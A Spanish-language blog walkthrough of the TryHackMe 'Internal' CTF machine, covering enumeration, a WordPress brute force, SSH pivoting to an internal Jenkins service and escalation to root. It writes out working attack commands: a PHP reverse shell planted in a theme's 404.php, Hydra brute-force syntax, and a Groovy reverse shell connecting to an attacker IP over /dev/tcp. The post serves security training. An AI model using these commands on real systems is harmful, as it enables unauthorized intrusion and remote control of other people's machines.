28 marzo, 2024

(TryHackMe) – CTF Internal

El reto de esta maquina consiste en localizar dos banderas:

  • User.txt
  • Root.txt

Ademas realizaremos la técnica de Pivoting.

Comenzamos primero, como siempre, buscando los puertos abiertos en la maquina y después realizaremos un análisis más completo de estos obteniendo versiones y otros datos de esos servicios.

nmap -sS -Pn -p- <IP maquina atacada>
nmap -p 22,80 -Pn -sS -sV -T4 -sC -oA Informe_Internal <IP_Maquina>

Vemos dos servicios SSH y HTTP, iniciaremos la exploración por el que normalmente localiza más huecos que es el servidor HTTP.

En una primera mirada, incluso ejecutando «whatweb» para identificar que se esta ejecutando parece que es solo un apache y que todavía no tenemos páginas configuradas. Profundizamos más y analizamos los directorios.

dirb <URL>

Descubrimos algunos directorios de interés, que nos indican aplicaciones instaladas.

  • /blog Posible WordPress por los subdirectorios: wp-admin, wp-content.
  • /wordpress
  • /phpmyadmin Posible aplicación de gestión de BBDD.
  • /javascript contiene jquery.

Intentamos ahora la identificación con «whatweb» de estas entradas, ademas de conectarnos directamente desde el navegador.

whatweb -a 3 http://<IP>/blog
whatweb -a 3 http://<IP>/wodpress
whatweb -a 3 http://<IP>/phpmyadmin

Vemos que son dos WordPress y una aplicación PHPmyAdmin. Así que vamos a centrarnos en el WordPress del directorio /blog cuya información incial es:

  • Servidor Apache 2.4.9
  • WordPress 5.4.2

Uutilizando la herramienta «wpscan» para obtener más información del gestor de contenidos WordPress instalado como sun los plugin vulnerables, usuarios.

wpscan --url <URL> -e vp,vt,u
wpscan --url <URL> -U <Usuario> -P <F_Claves>    //Claves por fuerza bruta de los usuarios

Información adicional interesante que obtenemos al ejecutar estos dos comandos son:

  • XML-RPC habilitado
  • Wp-cron habilitado
  • Usuarios encontrados: admin, el cual también hemos logrado obtener su clave.

Lo cual nos permite acceder al panel de control (http://internal.thm/blog/wp-login.php) antes definiremos en nuestro /etc/hosts la entrada «internal.thm» con la IP de la maquina para no tener problemas en la carga. Dentro del administrador podremos crear un fichero PHP con un Shel-Inverso-In que nos abra un Shell. Usaremos la pagina 404.php que es la que se produce en caso de error.

Usaremos el Shell inverso «https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php» cuyo contenido es el que sustituirá el PHP «404.php» cambiando nuestra IP y el puerto

nc -lvnp 4444
curl http://internal.thm/blog/wp-content/themes/twentyseventeen/404.php

Una vez en el sistema empezaremos con una enumeración para localizar la bandera y escalada de privilegios si es necesario, para la enumeración del sistema usaremos LinPEAS, vemos datos interesantes para una escala de privilegios:

  • SO: Confirmamos que es un Linux 4.15.0-112-generic, Ubuntu 18.04
  • La versión del sudo 1.8.21p2, pero al comprobar en comando vemos que no tenemos permiso de sudo con este usuario.
  • Vemos que nos da dos vulnerabilidades en especial CVE-2021-4034 y CVE-2022-2588, ademas de otras a probar.
  • El SSH nos permite logarnos como root «PermitRootLogin yes«
  • Directorio /opt que normalmente esta vació, así que iremos a el a ver si podemos obtener algo.
  • Obtiene las claves de ficheros PHP, como la BBDD de wordpress (fichero wp-config.php) y el usuario phpmyadmin.
  • Y otra información que revisaríamos si con esta no es suficiente para localizar las banderas.

Vamos a ver contenidos de los ficheros de /opt y vemos un directorio que no tenemos acceso y un fichero «wp-save.txt» que parece nos da la clave del usuario aubreanna.

Asi que intentamos conectarnos por ssh a este usuario.

Vemos el fichero user.txt, con lo cual logramos la primera bandera, y ademas otros ficheros que miramos su contenido por si nos dan alguna información como sucede con el fichero «jenkins.txt» que nos indica que en la 172.17.0.2 esta el servicio jenkins. Realizamos un ifconfig y comprobamos que tenemos acceso a esa red, ademas miramos si alguien escucha en ese puerto y tambien vemos que es así.

Para probar a conectarnos con el navegador debemos realizar una redirección.

ssh -L 8080:172.17.0.2:8080 aubreanna@internal.thm

Ahora podemos conectarnos a la dirección 172.17.0.2:8080 desde nuestra maquina invocando a 127.0.0.1:8080 y vemos que es la pagina de jenkins. Así que vamos a intentar localizar la clave del usuario admin con Hydra.

Lo primero sera analizar el codigo de la pagina para conocer la acción, la variable usuario y la variable clave.

  • Accion: j_acegi_security_check
  • Nombre: j_username
  • Clave: j_password

Ahora ya podemos montar el comando Hydra

hydra -l admin -P rockyou.txt 127.0.0.1 -s 8080 http-post-form "/j_acegi_security_check:j_username=^USER^&j_password=^PASS^&from=%2F&Submit=Sign+in:Invalid username or password"

Obteniendo la clave del usuario admin que nos permitirá acceder a la aplicación, ahora podemos crear un shell-inverso en Grovy( lenguaje de jenkins) y así obtener un shell en la maquina.

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.8.6.223/4445;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

No vemos el fichero root.txt al realizar un find pero encontramos uno que nos puede contener información útil «/op/note.txt» y al verlo parece que es el usuario root de nuestra maquina.

Realizamos un su en la otra maquina con esta clave y vemos que accedemos y que ahora tenemos acceso a «/root/root.txt» que al realizar el cat vemos la bandera de root.

Hasta la proximoa CTF.

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Información básica sobre protección de datos Ver más

  • Responsable: Javier.
  • Finalidad:  Moderar los comentarios.
  • Legitimación:  Por consentimiento del interesado.
  • Destinatarios y encargados de tratamiento:  No se ceden o comunican datos a terceros para prestar este servicio. El Titular ha contratado los servicios de alojamiento web a Hostinger.es que actúa como encargado de tratamiento.
  • Derechos: Acceder, rectificar y suprimir los datos.
  • Información Adicional: Puede consultar la información detallada en la Política de Privacidad.

Este sitio usa Akismet para reducir el spam. Aprende cómo se procesan los datos de tus comentarios.

Esta web utiliza cookies propias y de terceros para su correcto funcionamiento y para fines analíticos. Contiene enlaces a sitios web de terceros con políticas de privacidad ajenas que podrás aceptar o no cuando accedas a ellos. Al hacer clic en el botón Aceptar, acepta el uso de estas tecnologías y el procesamiento de tus datos para estos propósitos. Ver
Privacidad